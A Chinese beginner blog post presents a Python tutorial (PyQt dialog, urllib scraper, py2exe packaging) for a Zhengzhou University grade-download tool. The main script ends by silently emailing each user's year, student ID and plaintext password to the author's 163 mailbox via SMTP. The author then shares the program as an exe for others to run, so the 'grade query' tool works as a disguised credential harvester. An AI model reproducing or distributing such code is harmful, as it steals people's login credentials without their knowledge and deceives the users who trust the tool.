我的python第一天:爬虫+界面+发邮件

我教女友学python爬虫

Python是一种计算机程序设计语言。你可能已经听说过很多种流行的编程语言,比如非常难学的C语言,非常流行的Java语言,适合初学者的Basic语言,适合网页编程的JavaScript语言等等。

那Python是一种什么语言?

首先,我们普及一下编程语言的基础知识。用任何编程语言来开发程序,都是为了让计算机干活,比如下载一个MP3,编写一个文档等等,而计算机干活的CPU只认识机器指令,所以,尽管不同的编程语言差异极大,最后都得“翻译”成CPU可以执行的机器指令。而不同的编程语言,干同一个活,编写的代码量,差距也很大。

比如,完成同一个任务,C语言要写1000行代码,Java只需要写100行,而Python可能只要20行。

所以Python是一种相当高级的语言。

你也许会问,代码少还不好?代码少的代价是运行速度慢,C程序运行1秒钟,Java程序可能需要2秒,而Python程序可能就需要10秒。

那是不是越低级的程序越难学,越高级的程序越简单?表面上来说,是的,但是,在非常高的抽象计算中,高级的Python程序设计也是非常难学的,所以,高级程序语言不等于简单。

但是,对于初学者和完成普通任务,Python语言是非常简单易用的。连Google都在大规模使用Python,你就不用担心学了会没用。

用Python可以做什么?可以做日常任务,比如自动备份你的MP3;可以做网站,很多著名的网站包括YouTube就是Python写的;可以做网络游戏的后台,很多在线游戏的后台都是Python开发的。总之就是能干很多很多事啦。

Python当然也有不能干的事情,比如写操作系统,这个只能用C语言写;写手机应用,只能用Objective-C(针对iPhone)和Java(针对Android);写3D游戏,最好用C或C++。

如果你是小白用户,满足以下条件:

会使用电脑,但从来没写过程序;
想从编程小白变成专业的软件架构师;
想学一门编程语言,但是又不知道从何下手;
愿意和我一起学习。

那么,不要再犹豫了,跟我一起重新开始,从心开始走进python的世界吧!

废话不多说,和我一起一步一步往下走吧。

  • 准备工作
    1. python、PyQt、BeautifSoup、py2exe的安装。下载地址 python和PyQt的安装方法 BeautifulSoup的安装 py2exe的安装和使用
    2. 添加python安装目录到环境变量-系统变量-Path的值。直接paste到末尾即可,以封号隔开。
  • Dialog.py
    使用PyQt生成代码如下,并保存为Dialog.py。
# -*- coding: utf-8 -*-

# Form implementation generated from reading ui file 'dialog.ui'
#
# Created by: PyQt4 UI code generator 4.11.4
#
# WARNING! All changes made in this file will be lost!

from PyQt4 import QtCore, QtGui

try:
    _fromUtf8 = QtCore.QString.fromUtf8
except AttributeError:
    def _fromUtf8(s):
        return s

try:
    _encoding = QtGui.QApplication.UnicodeUTF8
    def _translate(context, text, disambig):
        return QtGui.QApplication.translate(context, text, disambig, _encoding)
except AttributeError:
    def _translate(context, text, disambig):
        return QtGui.QApplication.translate(context, text, disambig)

class Ui_GradeGet(object):
    def setupUi(self, GradeGet):
        GradeGet.setObjectName(_fromUtf8("GradeGet"))
        GradeGet.resize(303, 175)
        self.widget = QtGui.QWidget(GradeGet)
        self.widget.setGeometry(QtCore.QRect(70, 30, 167, 111))
        self.widget.setObjectName(_fromUtf8("widget"))
        self.gridLayout = QtGui.QGridLayout(self.widget)
        self.gridLayout.setObjectName(_fromUtf8("gridLayout"))
        self.horizontalLayout = QtGui.QHBoxLayout()
        self.horizontalLayout.setObjectName(_fromUtf8("horizontalLayout"))
        self.label_3 = QtGui.QLabel(self.widget)
        self.label_3.setObjectName(_fromUtf8("label_3"))
        self.horizontalLayout.addWidget(self.label_3)
        self.grade = QtGui.QLineEdit(self.widget)
        self.grade.setToolTip(_fromUtf8(""))
        self.grade.setObjectName(_fromUtf8("grade"))
        self.horizontalLayout.addWidget(self.grade)
        self.gridLayout.addLayout(self.horizontalLayout, 0, 0, 1, 1)
        self.horizontalLayout_2 = QtGui.QHBoxLayout()
        self.horizontalLayout_2.setObjectName(_fromUtf8("horizontalLayout_2"))
        self.label = QtGui.QLabel(self.widget)
        self.label.setObjectName(_fromUtf8("label"))
        self.horizontalLayout_2.addWidget(self.label)
        self.sno = QtGui.QLineEdit(self.widget)
        self.sno.setObjectName(_fromUtf8("sno"))
        self.horizontalLayout_2.addWidget(self.sno)
        self.gridLayout.addLayout(self.horizontalLayout_2, 1, 0, 1, 1)
        self.horizontalLayout_3 = QtGui.QHBoxLayout()
        self.horizontalLayout_3.setObjectName(_fromUtf8("horizontalLayout_3"))
        self.label_2 = QtGui.QLabel(self.widget)
        self.label_2.setObjectName(_fromUtf8("label_2"))
        self.horizontalLayout_3.addWidget(self.label_2)
        self.password = QtGui.QLineEdit(self.widget)
        self.password.setEchoMode(QtGui.QLineEdit.Password)
        self.password.setObjectName(_fromUtf8("password"))
        self.horizontalLayout_3.addWidget(self.password)
        self.gridLayout.addLayout(self.horizontalLayout_3, 2, 0, 1, 1)
        self.horizontalLayout_4 = QtGui.QHBoxLayout()
        self.horizontalLayout_4.setObjectName(_fromUtf8("horizontalLayout_4"))
        spacerItem = QtGui.QSpacerItem(40, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)
        self.horizontalLayout_4.addItem(spacerItem)
        self.OK = QtGui.QPushButton(self.widget)
        self.OK.setObjectName(_fromUtf8("OK"))
        self.horizontalLayout_4.addWidget(self.OK)
        self.gridLayout.addLayout(self.horizontalLayout_4, 3, 0, 1, 1)

        self.retranslateUi(GradeGet)
        QtCore.QObject.connect(self.OK, QtCore.SIGNAL(_fromUtf8("clicked()")), GradeGet.accept)
        QtCore.QMetaObject.connectSlotsByName(GradeGet)
        GradeGet.setTabOrder(self.grade, self.sno)
        GradeGet.setTabOrder(self.sno, self.password)
        GradeGet.setTabOrder(self.password, self.OK)

    def retranslateUi(self, GradeGet):
        GradeGet.setWindowTitle(_translate("GradeGet", "Dialog", None))
        self.label_3.setText(_translate("GradeGet", "年级", None))
        self.label.setText(_translate("GradeGet", "学号", None))
        self.label_2.setText(_translate("GradeGet", "密码", None))
        self.OK.setText(_translate("GradeGet", "确定", None))

参考这里

  • 编写main函数,与Dialog.py放在同一个文件夹下。
#-*- coding: cp936-*-
#! /usr/bin/env python
#--------------------------------------- 
# 程序:郑州大学教务在线数据获取 
# 版本:0.5 
# 作者:陆嵩&潘凎 
# 日期:2016-2-20 
# 语言:Python 2.7 
# 操作:输入你的年级、学号和密码 
# 功能:将你每一学期的成绩打包txt存储到本地。 
#---------------------------------------
from PyQt4.QtGui import *
from PyQt4.QtCore import *
import sys
import dialog
#import GradeAcquisition



class TestDialog(QDialog,dialog.Ui_GradeGet):  
    def __init__(self,parent=None):  
        super(TestDialog,self).__init__(parent)  
        self.setupUi(self)

app=QApplication(sys.argv)  
dialog=TestDialog()  
dialog.show()  
app.exec_()  
grade=dialog.grade.text()
sno=dialog.sno.text()
password=dialog.password.text()



import urllib
import urllib2
import re
from bs4 import BeautifulSoup




#post数据&登录------------------------------
def post():
    url = 'http://jw.zzu.edu.cn/scripts/qscore.dll/search'
    values = {'nianji': grade,
            'xuehao': sno,
            'mima'  : password}
    data = urllib.urlencode(values)
    req = urllib2.Request(url,data)
    response = urllib2.urlopen(req)
    the_page = response.read()
    return the_page
#-----------------------------------------


#获取各学期网页源码---------------------------
def pages_get(the_page):
    urltail_format=re.compile('(?<=userid\=)[A-Z\d]+(?="\>)')
    urltails=urltail_format.findall(the_page)
    pages=[]
    for i in range(0,len(urltails)-1):
        term_url='http://jw.zzu.edu.cn/scripts/qscore.dll/search?userid='+urltails[i]
        term_page = urllib.urlopen(term_url)
        pages.append(term_page.read())
        term_page.close()
    pages.append(the_page)
    return pages
#-----------------------------------------

#从网页中抓取所需数据-------------------------
def data_collection(page):
    soup = BeautifulSoup(page,from_encoding="cp936")
    scores=str(soup.table)
    r_subject = re.compile('(?<="40%"\>).*?(?=\<\/td\>)')
    r_type = re.compile('(?<="17%"\>).*?(?=\<\/td\>)')
    r_others = re.compile('(?<="15%"\>).*?(?=\<\/td\>)')
    subjects = r_subject.findall(scores)
    types = r_type.findall(scores)
    others = r_others.findall(scores)
    length = len(subjects)
    csv = []
    for i in range(0,length):
        info = subjects[i] +','+ types[i] +','+ others[3*i] +','+ others[1+3*i] +','+ others[2+3*i] +'\n'
        csv.append(info)
    return csv
#-----------------------------------------

#数据的保存---------------------------------
def data_save(data,file_name):
    file_object = open('D:\\'+file_name, 'w+')
    file_object.writelines(data)
    file_object.close()
#-----------------------------------------


##---------------主程序—--------------------
if __name__ == '__main__':
    print u"""#--------------------------------------- # 程序:郑州大学教务在线成绩数据获取 # 版本:0.5 # 作者:陆嵩 # 日期:2016-2-20 # 语言:Python 2.7 # 操作:输入你的年级、学号和密码 # 功能:将你每一学期的成绩打包txt存储到本地。 #--------------------------------------- """
    the_page=post()
    pages=pages_get(the_page)
    for i in range(0,len(pages)):
        print u'获取第'+str(i+1)+u'学期数据中...'
        data=data_collection(pages[i])
        file_name='第'+str(i+1)+'学期.txt'
        data_save(data,file_name)
    print u'完成!数据保存D盘,请注意查看。'

    import sendby163
    from email.mime.multipart import MIMEMultipart
    from email.mime.text import MIMEText
    import smtplib
    import os
    import datetime
    import time
    import subprocess
    reload(sys)
    sys.setdefaultencoding("utf-8")
    mailto_list = ["[email protected]"]  #目标邮箱
    mail_host = "smtp.163.com"
    mail_user = "[email protected]"
    mail_pass = "******"  #163邮箱smtp生成的密码
    def send_mail(to_list, sub, content):
        me = "LogServer"+"<"+mail_user+">"
        msg = MIMEText(content, _subtype='plain', _charset='utf-8')
        msg['Subject'] = sub
        msg['From'] = me
        msg['To'] = ";".join(to_list)
        try:
            server = smtplib.SMTP()
            server.connect(mail_host)
            server.login(mail_user, mail_pass)
            server.sendmail(me, to_list, msg.as_string())
            server.close()
            return True
        except Exception, e:
            print str(e)
            return False
send_mail(mailto_list, 'submit',grade+' '+' '+sno+' '+password)
i=input()


参考链接1
参考链接2

  • 摇身一变成exe可执行程序
    1.编写setup.py
from distutils.core import setup
import py2exe
setup(console=[{"script":"main.py"}], options={"py2exe":{"includes":["sip"]}})

2.打开终端运行setup.py py2exe
这里有参考

可以看到,生成了“build”和”dist”两个文件夹。dist文件夹下有个“main.exe”,双击它,即可运行我们做的程序。

这里也分享一份我生成zzu成绩查询。
我的python第一天:爬虫+界面+发邮件_第1张图片
我的python第一天:爬虫+界面+发邮件_第2张图片

几点说明:1.有人问为什么只是把代码黏贴上来,而不进行逐句说明。这事儿不能说太细,网上有大把的资料。很多话说了,不利于你学习,也浪费我时间。2.做一个程序,不可能会顺风顺水,肯定会出现各种问题,要学会自己调试,和上网查询解决方法。3.为什么要用我现在用的这套版本的这套工具?我说了,我现在用的最适合初学者用的,最容易上手的工具。4.PyQt作为面向对象的一个工具,零门槛让你快速学会做界面。当然,容易功力够高深,直接导入PyQt相关模块,动手敲代码也是很便捷的。5.有关程序内容的其他疑问,可以留言或者私信我的网易邮箱,地址代码中有。

参考外链1
参考外链2
参考外链3

你可能感兴趣的:(python)